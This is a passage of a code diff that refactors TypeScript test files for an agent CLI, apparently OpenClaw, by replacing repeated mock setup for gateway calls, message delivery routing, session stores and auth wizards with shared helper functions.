vi.mocked(callGateway).mockResolvedValue({ + runId: "idem-1", + status: "ok", + result: { + payloads: [{ text: "hello" }], + meta: { stub: true }, + }, + }); - vi.mocked(callGateway).mockResolvedValue({ - runId: "idem-1", - status: "ok", - result: { - payloads: [{ text: "hello" }], - meta: { stub: true }, - }, - }); - - try { await agentCliCommand({ message: "hi", to: "+1555", timeout: "0" }, runtime); expect(callGateway).toHaveBeenCalledTimes(1); const request = vi.mocked(callGateway).mock.calls[0]?.[0] as { timeoutMs?: number }; expect(request.timeoutMs).toBe(2_147_000_000); - } finally { - fs.rmSync(dir, { recursive: true, force: true }); - } + }); }); it("uses gateway by default", async () => { - const dir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-agent-cli-")); - const store = path.join(dir, "sessions.json"); - mockConfig(store); + await withTempStore(async () => { + vi.mocked(callGateway).mockResolvedValue({ + runId: "idem-1", + status: "ok", + result: { + payloads: [{ text: "hello" }], + meta: { stub: true }, + }, + }); - vi.mocked(callGateway).mockResolvedValue({ - runId: "idem-1", - status: "ok", - result: { - payloads: [{ text: "hello" }], - meta: { stub: true }, - }, - }); - - try { await agentCliCommand({ message: "hi", to: "+1555" }, runtime); expect(callGateway).toHaveBeenCalledTimes(1); expect(agentCommand).not.toHaveBeenCalled(); expect(runtime.log).toHaveBeenCalledWith("hello"); - } finally { - fs.rmSync(dir, { recursive: true, force: true }); - } + }); }); it("falls back to embedded agent when gateway fails", async () => { - const dir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-agent-cli-")); - const store = path.join(dir, "sessions.json"); - mockConfig(store); + await withTempStore(async () => { + vi.mocked(callGateway).mockRejectedValue(new Error("gateway not connected")); + vi.mocked(agentCommand).mockImplementationOnce(async (_opts, rt) => { + rt.log?.("local"); + return { payloads: [{ text: "local" }], meta: { stub: true } }; + }); - vi.mocked(callGateway).mockRejectedValue(new Error("gateway not connected")); - vi.mocked(agentCommand).mockImplementationOnce(async (_opts, rt) => { - rt.log?.("local"); - return { payloads: [{ text: "local" }], meta: { stub: true } }; - }); - - try { await agentCliCommand({ message: "hi", to: "+1555" }, runtime); expect(callGateway).toHaveBeenCalledTimes(1); expect(agentCommand).toHaveBeenCalledTimes(1); expect(runtime.log).toHaveBeenCalledWith("local"); - } finally { - fs.rmSync(dir, { recursive: true, force: true }); - } + }); }); it("skips gateway when --local is set", async () => { - const dir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-agent-cli-")); - const store = path.join(dir, "sessions.json"); - mockConfig(store); + await withTempStore(async () => { + vi.mocked(agentCommand).mockImplementationOnce(async (_opts, rt) => { + rt.log?.("local"); + return { payloads: [{ text: "local" }], meta: { stub: true } }; + }); - vi.mocked(agentCommand).mockImplementationOnce(async (_opts, rt) => { - rt.log?.("local"); - return { payloads: [{ text: "local" }], meta: { stub: true } }; - }); - - try { await agentCliCommand( { message: "hi", @@ -143,8 +135,6 @@ describe("agentCliCommand", () => { expect(callGateway).not.toHaveBeenCalled(); expect(agentCommand).toHaveBeenCalledTimes(1); expect(runtime.log).toHaveBeenCalledWith("local"); - } finally { - fs.rmSync(dir, { recursive: true, force: true }); - } + }); }); }); diff --git a/src/commands/agent.delivery.e2e.test.ts b/src/commands/agent.delivery.e2e.test.ts index a97ace67b16..6982812a44f 100644 --- a/src/commands/agent.delivery.e2e.test.ts +++ b/src/commands/agent.delivery.e2e.test.ts @@ -30,31 +30,52 @@ vi.mock("../infra/outbound/targets.js", async () => { }); describe("deliverAgentCommandResult", () => { + function createRuntime(): RuntimeEnv { + return { + log: vi.fn(), + error: vi.fn(), + } as unknown as RuntimeEnv; + } + + function createResult(text = "hi") { + return { + payloads: [{ text }], + meta: {}, + }; + } + + async function runDelivery(params: { + opts: Record; + sessionEntry?: SessionEntry; + runtime?: RuntimeEnv; + resultText?: string; + }) { + const cfg = {} as OpenClawConfig; + const deps = {} as CliDeps; + const runtime = params.runtime ?? createRuntime(); + const result = createResult(params.resultText); + const { deliverAgentCommandResult } = await import("./agent/delivery.js"); + + await deliverAgentCommandResult({ + cfg, + deps, + runtime, + opts: params.opts as never, + sessionEntry: params.sessionEntry, + result, + payloads: result.payloads, + }); + + return { runtime }; + } + beforeEach(() => { mocks.deliverOutboundPayloads.mockClear(); mocks.resolveOutboundTarget.mockClear(); }); it("prefers explicit accountId for outbound delivery", async () => { - const cfg = {} as OpenClawConfig; - const deps = {} as CliDeps; - const runtime = { - log: vi.fn(), - error: vi.fn(), - } as unknown as RuntimeEnv; - const sessionEntry = { - lastAccountId: "default", - } as SessionEntry; - const result = { - payloads: [{ text: "hi" }], - meta: {}, - }; - - const { deliverAgentCommandResult } = await import("./agent/delivery.js"); - await deliverAgentCommandResult({ - cfg, - deps, - runtime, + await runDelivery({ opts: { message: "hello", deliver: true, @@ -62,9 +83,9 @@ describe("deliverAgentCommandResult", () => { accountId: "kev", to: "+15551234567", }, - sessionEntry, - result, - payloads: result.payloads, + sessionEntry: { + lastAccountId: "default", + } as SessionEntry, }); expect(mocks.deliverOutboundPayloads).toHaveBeenCalledWith( @@ -73,34 +94,16 @@ describe("deliverAgentCommandResult", () => { }); it("falls back to session accountId for implicit delivery", async () => { - const cfg = {} as OpenClawConfig; - const deps = {} as CliDeps; - const runtime = { - log: vi.fn(), - error: vi.fn(), - } as unknown as RuntimeEnv; - const sessionEntry = { - lastAccountId: "legacy", - lastChannel: "whatsapp", - } as SessionEntry; - const result = { - payloads: [{ text: "hi" }], - meta: {}, - }; - - const { deliverAgentCommandResult } = await import("./agent/delivery.js"); - await deliverAgentCommandResult({ - cfg, - deps, - runtime, + await runDelivery({ opts: { message: "hello", deliver: true, channel: "whatsapp", }, - sessionEntry, - result, - payloads: result.payloads, + sessionEntry: { + lastAccountId: "legacy", + lastChannel: "whatsapp", + } as SessionEntry, }); expect(mocks.deliverOutboundPayloads).toHaveBeenCalledWith( @@ -109,25 +112,7 @@ describe("deliverAgentCommandResult", () => { }); it("does not infer accountId for explicit delivery targets", async () => { - const cfg = {} as OpenClawConfig; - const deps = {} as CliDeps; - const runtime = { - log: vi.fn(), - error: vi.fn(), - } as unknown as RuntimeEnv; - const sessionEntry = { - lastAccountId: "legacy", - } as SessionEntry; - const result = { - payloads: [{ text: "hi" }], - meta: {}, - }; - - const { deliverAgentCommandResult } = await import("./agent/delivery.js"); - await deliverAgentCommandResult({ - cfg, - deps, - runtime, + await runDelivery({ opts: { message: "hello", deliver: true, @@ -135,9 +120,9 @@ describe("deliverAgentCommandResult", () => { to: "+15551234567", deliveryTargetMode: "explicit", }, - sessionEntry, - result, - payloads: result.payloads, + sessionEntry: { + lastAccountId: "legacy", + } as SessionEntry, }); expect(mocks.resolveOutboundTarget).toHaveBeenCalledWith( @@ -149,34 +134,16 @@ describe("deliverAgentCommandResult", () => { }); it("skips session accountId when channel differs", async () => { - const cfg = {} as OpenClawConfig; - const deps = {} as CliDeps; - const runtime = { - log: vi.fn(), - error: vi.fn(), - } as unknown as RuntimeEnv; - const sessionEntry = { - lastAccountId: "legacy", - lastChannel: "telegram", - } as SessionEntry; - const result = { - payloads: [{ text: "hi" }], - meta: {}, - }; - - const { deliverAgentCommandResult } = await import("./agent/delivery.js"); - await deliverAgentCommandResult({ - cfg, - deps, - runtime, + await runDelivery({ opts: { message: "hello", deliver: true, channel: "whatsapp", }, - sessionEntry, - result, - payloads: result.payloads, + sessionEntry: { + lastAccountId: "legacy", + lastChannel: "telegram", + } as SessionEntry, }); expect(mocks.resolveOutboundTarget).toHaveBeenCalledWith( @@ -185,33 +152,15 @@ describe("deliverAgentCommandResult", () => { }); it("uses session last channel when none is provided", async () => { - const cfg = {} as OpenClawConfig; - const deps = {} as CliDeps; - const runtime = { - log: vi.fn(), - error: vi.fn(), - } as unknown as RuntimeEnv; - const sessionEntry = { - lastChannel: "telegram", - lastTo: "123", - } as SessionEntry; - const result = { - payloads: [{ text: "hi" }], - meta: {}, - }; - - const { deliverAgentCommandResult } = await import("./agent/delivery.js"); - await deliverAgentCommandResult({ - cfg, - deps, - runtime, + await runDelivery({ opts: { message: "hello", deliver: true, }, - sessionEntry, - result, - payloads: result.payloads, + sessionEntry: { + lastChannel: "telegram", + lastTo: "123", + } as SessionEntry, }); expect(mocks.resolveOutboundTarget).toHaveBeenCalledWith( @@ -220,27 +169,7 @@ describe("deliverAgentCommandResult", () => { }); it("uses reply overrides for delivery routing", async () => { - const cfg = {} as OpenClawConfig; - const deps = {} as CliDeps; - const runtime = { - log: vi.fn(), - error: vi.fn(), - } as unknown as RuntimeEnv; - const sessionEntry = { - lastChannel: "telegram", - lastTo: "123", - lastAccountId: "legacy", - } as SessionEntry; - const result = { - payloads: [{ text: "hi" }], - meta: {}, - }; - - const { deliverAgentCommandResult } = await import("./agent/delivery.js"); - await deliverAgentCommandResult({ - cfg, - deps, - runtime, + await runDelivery({ opts: { message: "hello", deliver: true, @@ -249,9 +178,11 @@ describe("deliverAgentCommandResult", () => { replyChannel: "slack", replyAccountId: "ops", }, - sessionEntry, - result, - payloads: result.payloads, + sessionEntry: { + lastChannel: "telegram", + lastTo: "123", + lastAccountId: "legacy", + } as SessionEntry, }); expect(mocks.resolveOutboundTarget).toHaveBeenCalledWith( @@ -260,22 +191,10 @@ describe("deliverAgentCommandResult", () => { }); it("prefixes nested agent outputs with context", async () => { - const cfg = {} as OpenClawConfig; - const deps = {} as CliDeps; - const runtime = { - log: vi.fn(), - error: vi.fn(), - } as unknown as RuntimeEnv; - const result = { - payloads: [{ text: "ANNOUNCE_SKIP" }], - meta: {}, - }; - - const { deliverAgentCommandResult } = await import("./agent/delivery.js"); - await deliverAgentCommandResult({ - cfg, - deps, + const runtime = createRuntime(); + await runDelivery({ runtime, + resultText: "ANNOUNCE_SKIP", opts: { message: "hello", deliver: false, @@ -285,8 +204,6 @@ describe("deliverAgentCommandResult", () => { messageChannel: "webchat", }, sessionEntry: undefined, - result, - payloads: result.payloads, }); expect(runtime.log).toHaveBeenCalledTimes(1); diff --git a/src/commands/agent/session.test.ts b/src/commands/agent/session.test.ts index 93de40b642b..1b64d1b8cf0 100644 --- a/src/commands/agent/session.test.ts +++ b/src/commands/agent/session.test.ts @@ -25,6 +25,27 @@ vi.mock("../../agents/agent-scope.js", () => ({ const { resolveSessionKeyForRequest } = await import("./session.js"); describe("resolveSessionKeyForRequest", () => { + const MAIN_STORE_PATH = "/tmp/main-store.json"; + const MYBOT_STORE_PATH = "/tmp/mybot-store.json"; + type SessionStoreEntry = { sessionId: string; updatedAt: number }; + type SessionStoreMap = Record; + + const setupMainAndMybotStorePaths = () => { + mocks.listAgentIds.mockReturnValue(["main", "mybot"]); + mocks.resolveStorePath.mockImplementation( + (_store: string | undefined, opts?: { agentId?: string }) => { + if (opts?.agentId === "mybot") { + return MYBOT_STORE_PATH; + } + return MAIN_STORE_PATH; + }, + ); + }; + + const mockStoresByPath = (stores: Partial>) => { + mocks.loadSessionStore.mockImplementation((storePath: string) => stores[storePath] ?? {}); + }; + beforeEach(() => { vi.clearAllMocks(); mocks.listAgentIds.mockReturnValue(["main"]); @@ -33,7 +54,7 @@ describe("resolveSessionKeyForRequest", () => { const baseCfg: OpenClawConfig = {}; it("returns sessionKey when --to resolves a session key via context", async () => { - mocks.resolveStorePath.mockReturnValue("/tmp/main-store.json"); + mocks.resolveStorePath.mockReturnValue(MAIN_STORE_PATH); mocks.loadSessionStore.mockReturnValue({ "agent:main:main": { sessionId: "sess-1", updatedAt: 0 }, }); @@ -46,7 +67,7 @@ describe("resolveSessionKeyForRequest", () => { }); it("finds session by sessionId via reverse lookup in primary store", async () => { - mocks.resolveStorePath.mockReturnValue("/tmp/main-store.json"); + mocks.resolveStorePath.mockReturnValue(MAIN_STORE_PATH); mocks.loadSessionStore.mockReturnValue({ "agent:main:main": { sessionId: "target-session-id", updatedAt: 0 }, }); @@ -59,22 +80,11 @@ describe("resolveSessionKeyForRequest", () => { }); it("finds session by sessionId in non-primary agent store", async () => { - mocks.listAgentIds.mockReturnValue(["main", "mybot"]); - mocks.resolveStorePath.mockImplementation( - (_store: string | undefined, opts?: { agentId?: string }) => { - if (opts?.agentId === "mybot") { - return "/tmp/mybot-store.json"; - } - return "/tmp/main-store.json"; + setupMainAndMybotStorePaths(); + mockStoresByPath({ + [MYBOT_STORE_PATH]: { + "agent:mybot:main": { sessionId: "target-session-id", updatedAt: 0 }, }, - ); - mocks.loadSessionStore.mockImplementation((storePath: string) => { - if (storePath === "/tmp/mybot-store.json") { - return { - "agent:mybot:main": { sessionId: "target-session-id", updatedAt: 0 }, - }; - } - return {}; }); const result = resolveSessionKeyForRequest({ @@ -82,27 +92,16 @@ describe("resolveSessionKeyForRequest", () => { sessionId: "target-session-id", }); expect(result.sessionKey).toBe("agent:mybot:main"); - expect(result.storePath).toBe("/tmp/mybot-store.json"); + expect(result.storePath).toBe(MYBOT_STORE_PATH); }); it("returns correct sessionStore when session found in non-primary agent store", async () => { const mybotStore = { "agent:mybot:main": { sessionId: "target-session-id", updatedAt: 0 }, }; - mocks.listAgentIds.mockReturnValue(["main", "mybot"]); - mocks.resolveStorePath.mockImplementation( - (_store: string | undefined, opts?: { agentId?: string }) => { - if (opts?.agentId === "mybot") { - return "/tmp/mybot-store.json"; - } - return "/tmp/main-store.json"; - }, - ); - mocks.loadSessionStore.mockImplementation((storePath: string) => { - if (storePath === "/tmp/mybot-store.json") { - return { ...mybotStore }; - } - return {}; + setupMainAndMybotStorePaths(); + mockStoresByPath({ + [MYBOT_STORE_PATH]: { ...mybotStore }, }); const result = resolveSessionKeyForRequest({ @@ -113,15 +112,7 @@ describe("resolveSessionKeyForRequest", () => { }); it("returns undefined sessionKey when sessionId not found in any store", async () => { - mocks.listAgentIds.mockReturnValue(["main", "mybot"]); - mocks.resolveStorePath.mockImplementation( - (_store: string | undefined, opts?: { agentId?: string }) => { - if (opts?.agentId === "mybot") { - return "/tmp/mybot-store.json"; - } - return "/tmp/main-store.json"; - }, - ); + setupMainAndMybotStorePaths(); mocks.loadSessionStore.mockReturnValue({}); const result = resolveSessionKeyForRequest({ @@ -133,7 +124,7 @@ describe("resolveSessionKeyForRequest", () => { it("does not search other stores when explicitSessionKey is set", async () => { mocks.listAgentIds.mockReturnValue(["main", "mybot"]); - mocks.resolveStorePath.mockReturnValue("/tmp/main-store.json"); + mocks.resolveStorePath.mockReturnValue(MAIN_STORE_PATH); mocks.loadSessionStore.mockReturnValue({ "agent:main:main": { sessionId: "other-id", updatedAt: 0 }, }); @@ -148,27 +139,14 @@ describe("resolveSessionKeyForRequest", () => { }); it("searches other stores when --to derives a key that does not match --session-id", async () => { - mocks.listAgentIds.mockReturnValue(["main", "mybot"]); - mocks.resolveStorePath.mockImplementation( - (_store: string | undefined, opts?: { agentId?: string }) => { - if (opts?.agentId === "mybot") { - return "/tmp/mybot-store.json"; - } - return "/tmp/main-store.json"; + setupMainAndMybotStorePaths(); + mockStoresByPath({ + [MAIN_STORE_PATH]: { + "agent:main:main": { sessionId: "other-session-id", updatedAt: 0 }, + }, + [MYBOT_STORE_PATH]: { + "agent:mybot:main": { sessionId: "target-session-id", updatedAt: 0 }, }, - ); - mocks.loadSessionStore.mockImplementation((storePath: string) => { - if (storePath === "/tmp/main-store.json") { - return { - "agent:main:main": { sessionId: "other-session-id", updatedAt: 0 }, - }; - } - if (storePath === "/tmp/mybot-store.json") { - return { - "agent:mybot:main": { sessionId: "target-session-id", updatedAt: 0 }, - }; - } - return {}; }); const result = resolveSessionKeyForRequest({ @@ -179,19 +157,11 @@ describe("resolveSessionKeyForRequest", () => { // --to derives agent:main:main, but its sessionId doesn't match target-session-id, // so the cross-store search finds it in the mybot store expect(result.sessionKey).toBe("agent:mybot:main"); - expect(result.storePath).toBe("/tmp/mybot-store.json"); + expect(result.storePath).toBe(MYBOT_STORE_PATH); }); it("skips already-searched primary store when iterating agents", async () => { - mocks.listAgentIds.mockReturnValue(["main", "mybot"]); - mocks.resolveStorePath.mockImplementation( - (_store: string | undefined, opts?: { agentId?: string }) => { - if (opts?.agentId === "mybot") { - return "/tmp/mybot-store.json"; - } - return "/tmp/main-store.json"; - }, - ); + setupMainAndMybotStorePaths(); mocks.loadSessionStore.mockReturnValue({}); resolveSessionKeyForRequest({ @@ -203,7 +173,7 @@ describe("resolveSessionKeyForRequest", () => { // (not twice for main) const storePaths = mocks.loadSessionStore.mock.calls.map((call: [string]) => call[0]); expect(storePaths).toHaveLength(2); - expect(storePaths).toContain("/tmp/main-store.json"); - expect(storePaths).toContain("/tmp/mybot-store.json"); + expect(storePaths).toContain(MAIN_STORE_PATH); + expect(storePaths).toContain(MYBOT_STORE_PATH); }); }); diff --git a/src/commands/agents.add.e2e.test.ts b/src/commands/agents.add.e2e.test.ts index d78f3862e67..7882fd96ed0 100644 --- a/src/commands/agents.add.e2e.test.ts +++ b/src/commands/agents.add.e2e.test.ts @@ -1,5 +1,5 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; -import type { RuntimeEnv } from "../runtime.js"; +import { baseConfigSnapshot, createTestRuntime } from "./test-runtime-config-helpers.js"; const configMocks = vi.hoisted(() => ({ readConfigFileSnapshot: vi.fn(), @@ -26,22 +26,7 @@ vi.mock("../wizard/clack-prompter.js", () => ({ import { WizardCancelledError } from "../wizard/prompts.js"; import { agentsAddCommand } from "./agents.js"; -const runtime: RuntimeEnv = { - log: vi.fn(), - error: vi.fn(), - exit: vi.fn(), -}; - -const baseSnapshot = { - path: "/tmp/openclaw.json", - exists: true, - raw: "{}", - parsed: {}, - valid: true, - config: {}, - issues: [], - legacyIssues: [], -}; +const runtime = createTestRuntime(); describe("agents add command", () => { beforeEach(() => { @@ -54,7 +39,7 @@ describe("agents add command", () => { }); it("requires --workspace when flags are present", async () => { - configMocks.readConfigFileSnapshot.mockResolvedValue({ ...baseSnapshot }); + configMocks.readConfigFileSnapshot.mockResolvedValue({ ...baseConfigSnapshot }); await agentsAddCommand({ name: "Work" }, runtime, { hasFlags: true }); @@ -64,7 +49,7 @@ describe("agents add command", () => { }); it("requires --workspace in non-interactive mode", async () => { - configMocks.readConfigFileSnapshot.mockResolvedValue({ ...baseSnapshot }); + configMocks.readConfigFileSnapshot.mockResolvedValue({ ...baseConfigSnapshot }); await agentsAddCommand({ name: "Work", nonInteractive: true }, runtime, { hasFlags: false, @@ -76,7 +61,7 @@ describe("agents add command", () => { }); it("exits with code 1 when the interactive wizard is cancelled", async () => { - configMocks.readConfigFileSnapshot.mockResolvedValue({ ...baseSnapshot }); + configMocks.readConfigFileSnapshot.mockResolvedValue({ ...baseConfigSnapshot }); wizardMocks.createClackPrompter.mockReturnValue({ intro: vi.fn().mockRejectedValue(new WizardCancelledError()), text: vi.fn(), diff --git a/src/commands/agents.command-shared.ts b/src/commands/agents.command-shared.ts index 7917b27db2d..92aeda9946c 100644 --- a/src/commands/agents.command-shared.ts +++ b/src/commands/agents.command-shared.ts @@ -1,23 +1,11 @@ import type { OpenClawConfig } from "../config/config.js"; import type { RuntimeEnv } from "../runtime.js"; -import { formatCliCommand } from "../cli/command-format.js"; -import { readConfigFileSnapshot } from "../config/config.js"; +import { requireValidConfigSnapshot } from "./config-validation.js"; export function createQuietRuntime(runtime: RuntimeEnv): RuntimeEnv { return { ...runtime, log: () => {} }; } export async function requireValidConfig(runtime: RuntimeEnv): Promise { - const snapshot = await readConfigFileSnapshot(); - if (snapshot.exists && !snapshot.valid) { - const issues = - snapshot.issues.length > 0 - ? snapshot.issues.map((issue) => `- ${issue.path}: ${issue.message}`).join("\n") - : "Unknown validation issue."; - runtime.error(`Config invalid:\n${issues}`); - runtime.error(`Fix the config or run ${formatCliCommand("openclaw doctor")}.`); - runtime.exit(1); - return null; - } - return snapshot.config; + return await requireValidConfigSnapshot(runtime); } diff --git a/src/commands/agents.identity.e2e.test.ts b/src/commands/agents.identity.e2e.test.ts index 7956d8dec3d..3a7ea6a7c4f 100644 --- a/src/commands/agents.identity.e2e.test.ts +++ b/src/commands/agents.identity.e2e.test.ts @@ -2,7 +2,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { beforeEach, describe, expect, it, vi } from "vitest"; -import type { RuntimeEnv } from "../runtime.js"; +import { baseConfigSnapshot, createTestRuntime } from "./test-runtime-config-helpers.js"; const configMocks = vi.hoisted(() => ({ readConfigFileSnapshot: vi.fn(), @@ -20,22 +20,7 @@ vi.mock("../config/config.js", async (importOriginal) => { import { agentsSetIdentityCommand } from "./agents.js"; -const runtime: RuntimeEnv = { - log: vi.fn(), - error: vi.fn(), - exit: vi.fn(), -}; - -const baseSnapshot = { - path: "/tmp/openclaw.json", - exists: true, - raw: "{}", - parsed: {}, - valid: true, - config: {}, - issues: [], - legacyIssues: [], -}; +const runtime = createTestRuntime(); describe("agents set-identity command", () => { beforeEach(() => { @@ -63,7 +48,7 @@ describe("agents set-identity command", () => { ); configMocks.readConfigFileSnapshot.mockResolvedValue({ - ...baseSnapshot, + ...baseConfigSnapshot, config: { agents: { list: [ @@ -96,7 +81,7 @@ describe("agents set-identity command", () => { await fs.writeFile(path.join(workspace, "IDENTITY.md"), "- Name: Echo\n", "utf-8"); configMocks.readConfigFileSnapshot.mockResolvedValue({ - ...baseSnapshot, + ...baseConfigSnapshot, config: { agents: { list: [ @@ -131,7 +116,7 @@ describe("agents set-identity command", () => { ); configMocks.readConfigFileSnapshot.mockResolvedValue({ - ...baseSnapshot, + ...baseConfigSnapshot, config: { agents: { list: [{ id: "main", workspace }] } }, }); @@ -176,7 +161,7 @@ describe("agents set-identity command", () => { ); configMocks.readConfigFileSnapshot.mockResolvedValue({ - ...baseSnapshot, + ...baseConfigSnapshot, config: { agents: { list: [{ id: "main" }] } }, }); @@ -205,7 +190,7 @@ describe("agents set-identity command", () => { ); configMocks.readConfigFileSnapshot.mockResolvedValue({ - ...baseSnapshot, + ...baseConfigSnapshot, config: { agents: { list: [{ id: "main", workspace }] } }, }); @@ -222,7 +207,7 @@ describe("agents set-identity command", () => { it("accepts avatar-only updates via flags", async () => { configMocks.readConfigFileSnapshot.mockResolvedValue({ - ...baseSnapshot, + ...baseConfigSnapshot, config: { agents: { list: [{ id: "main" }] } }, }); @@ -246,7 +231,7 @@ describe("agents set-identity command", () => { await fs.mkdir(workspace, { recursive: true }); configMocks.readConfigFileSnapshot.mockResolvedValue({ - ...baseSnapshot, + ...baseConfigSnapshot, config: { agents: { list: [{ id: "main", workspace }] } }, }); diff --git a/src/commands/auth-choice.apply.huggingface.test.ts b/src/commands/auth-choice.apply.huggingface.test.ts index aa0e2115235..04e7b296d5a 100644 --- a/src/commands/auth-choice.apply.huggingface.test.ts +++ b/src/commands/auth-choice.apply.huggingface.test.ts @@ -2,15 +2,28 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; -import type { RuntimeEnv } from "../runtime.js"; import type { WizardPrompter } from "../wizard/prompts.js"; import { captureEnv } from "../test-utils/env.js"; import { applyAuthChoiceHuggingface } from "./auth-choice.apply.huggingface.js"; +import { createExitThrowingRuntime, createWizardPrompter } from "./test-wizard-helpers.js"; -const noopAsync = async () => {}; -const noop = () => {}; const authProfilePathFor = (agentDir: string) => path.join(agentDir, "auth-profiles.json"); +function createHuggingfacePrompter(params: { + text: WizardPrompter["text"]; + select: WizardPrompter["select"]; + confirm?: WizardPrompter["confirm"]; +}): WizardPrompter { + const overrides: Partial = { + text: params.text, + select: params.select, + }; + if (params.confirm) { + overrides.confirm = params.confirm; + } + return createWizardPrompter(overrides, { defaultSelect: "" }); +} + describe("applyAuthChoiceHuggingface", () => { const envSnapshot = captureEnv(["OPENCLAW_AGENT_DIR", "HF_TOKEN", "HUGGINGFACE_HUB_TOKEN"]); let tempStateDir: string | null = null; @@ -44,23 +57,8 @@ describe("applyAuthChoiceHuggingface", () => { const select: WizardPrompter["select"] = vi.fn( async (params) => params.options?.[0]?.value as never, ); - const prompter: WizardPrompter = { - intro: vi.fn(noopAsync), - outro: vi.fn(noopAsync), - note: vi.fn(noopAsync), - select, - multiselect: vi.fn(async () => []), - text, - confirm: vi.fn(async () => false), - progress: vi.fn(() => ({ update: noop, stop: noop })), - }; - const runtime: RuntimeEnv = { - log: vi.fn(), - error: vi.fn(), - exit: vi.fn((code: number) => { - throw new Error(`exit:${code}`); - }), - }; + const prompter = createHuggingfacePrompter({ text, select }); + const runtime = createExitThrowingRuntime(); const result = await applyAuthChoiceHuggingface({ authChoice: "huggingface-api-key", @@ -104,23 +102,8 @@ describe("applyAuthChoiceHuggingface", () => { async (params) => params.options?.[0]?.value as never, ); const confirm = vi.fn(async () => true); - const prompter: WizardPrompter = { - intro: vi.fn(noopAsync), - outro: vi.fn(noopAsync), - note: vi.fn(noopAsync), - select, - multiselect: vi.fn(async () => []), - text, - confirm, - progress: vi.fn(() => ({ update: noop, stop: noop })), - }; - const runtime: RuntimeEnv = { - log: vi.fn(), - error: vi.fn(), - exit: vi.fn((code: number) => { - throw new Error(`exit:${code}`); - }), - }; + const prompter = createHuggingfacePrompter({ text, select, confirm }); + const runtime = createExitThrowingRuntime(); const result = await applyAuthChoiceHuggingface({ authChoice: "huggingface-api-key", diff --git a/src/commands/auth-choice.moonshot.e2e.test.ts b/src/commands/auth-choice.moonshot.e2e.test.ts index d215125f357..e997aed3ca9 100644 --- a/src/commands/auth-choice.moonshot.e2e.test.ts +++ b/src/commands/auth-choice.moonshot.e2e.test.ts @@ -2,13 +2,11 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; -import type { RuntimeEnv } from "../runtime.js"; import type { WizardPrompter } from "../wizard/prompts.js"; import { captureEnv } from "../test-utils/env.js"; import { applyAuthChoice } from "./auth-choice.js"; +import { createExitThrowingRuntime, createWizardPrompter } from "./test-wizard-helpers.js"; -const noopAsync = async () => {}; -const noop = () => {}; const authProfilePathFor = (agentDir: string) => path.join(agentDir, "auth-profiles.json"); const requireAgentDir = () => { const agentDir = process.env.OPENCLAW_AGENT_DIR; @@ -18,28 +16,8 @@ const requireAgentDir = () => { return agentDir; }; -function createRuntime(): RuntimeEnv { - return { - log: vi.fn(), - error: vi.fn(), - exit: vi.fn((code: number) => { - throw new Error(`exit:${code}`); - }), - }; -} - function createPrompter(overrides: Partial): WizardPrompter { - return { - intro: vi.fn(noopAsync), - outro: vi.fn(noopAsync), - note: vi.fn(noopAsync), - select: vi.fn(async () => "" as never), - multiselect: vi.fn(async () => []), - text: vi.fn(async () => "") as unknown as WizardPrompter["text"], - confirm: vi.fn(async () => false), - progress: vi.fn(() => ({ update: noop, stop: noop })), - ...overrides, - }; + return createWizardPrompter(overrides, { defaultSelect: "" }); } describe("applyAuthChoice (moonshot)", () => { @@ -72,7 +50,7 @@ describe("applyAuthChoice (moonshot)", () => { const text = vi.fn().mockResolvedValue("sk-moonshot-cn-test"); const prompter = createPrompter({ text: text as unknown as WizardPrompter["text"] }); - const runtime = createRuntime(); + const runtime = createExitThrowingRuntime(); const result = await applyAuthChoice({ authChoice: "moonshot-api-key-cn", @@ -108,7 +86,7 @@ describe("applyAuthChoice (moonshot)", () => { const text = vi.fn().mockResolvedValue("sk-moonshot-cn-test"); const prompter = createPrompter({ text: text as unknown as WizardPrompter["text"] }); - const runtime = createRuntime(); + const runtime = createExitThrowingRuntime(); const result = await applyAuthChoice({ authChoice: "moonshot-api-key-cn", diff --git a/src/commands/channels.adds-non-default-telegram-account.e2e.test.ts b/src/commands/channels.adds-non-default-telegram-account.e2e.test.ts index a9539141be0..d0f3ee1148e 100644 --- a/src/commands/channels.adds-non-default-telegram-account.e2e.test.ts +++ b/src/commands/channels.adds-non-default-telegram-account.e2e.test.ts @@ -1,5 +1,4 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; -import type { RuntimeEnv } from "../runtime.js"; import { discordPlugin } from "../../extensions/discord/src/channel.js"; import { imessagePlugin } from "../../extensions/imessage/src/channel.js"; import { signalPlugin } from "../../extensions/signal/src/channel.js"; @@ -8,6 +7,7 @@ import { telegramPlugin } from "../../extensions/telegram/src/channel.js"; import { whatsappPlugin } from "../../extensions/whatsapp/src/channel.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; import { createTestRegistry } from "../test-utils/channel-plugins.js"; +import { baseConfigSnapshot, createTestRuntime } from "./test-runtime-config-helpers.js"; const configMocks = vi.hoisted(() => ({ readConfigFileSnapshot: vi.fn(), @@ -42,22 +42,7 @@ import { formatGatewayChannelsStatusLines, } from "./channels.js"; -const runtime: RuntimeEnv = { - log: vi.fn(), - error: vi.fn(), - exit: vi.fn(), -}; - -const baseSnapshot = { - path: "/tmp/openclaw.json", - exists: true, - raw: "{}", - parsed: {}, - valid: true, - config: {}, - issues: [], - legacyIssues: [], -}; +const runtime = createTestRuntime(); describe("channels command", () => { beforeEach(() => { @@ -84,7 +69,7 @@ describe("channels command", () => { }); it("adds a non-default telegram account", async () => { - configMocks.readConfigFileSnapshot.mockResolvedValue({ ...baseSnapshot }); + configMocks.readConfigFileSnapshot.mockResolvedValue({ ...baseConfigSnapshot }); await channelsAddCommand( { channel: "telegram", account: "alerts", token: "123:abc" }, runtime, @@ -105,7 +90,7 @@ describe("channels command", () => { }); it("adds a default slack account with tokens", async () => { - configMocks.readConfigFileSnapshot.mockResolvedValue({ ...baseSnapshot }); + configMocks.readConfigFileSnapshot.mockResolvedValue({ ...baseConfigSnapshot }); await channelsAddCommand( { channel: "slack", @@ -130,7 +115,7 @@ describe("channels command", () => { it("deletes a non-default discord account", async () => { configMocks.readConfigFileSnapshot.mockResolvedValue({ - ...baseSnapshot, + ...baseConfigSnapshot, config: { channels: { discord: { @@ -158,7 +143,7 @@ describe("channels command", () => { 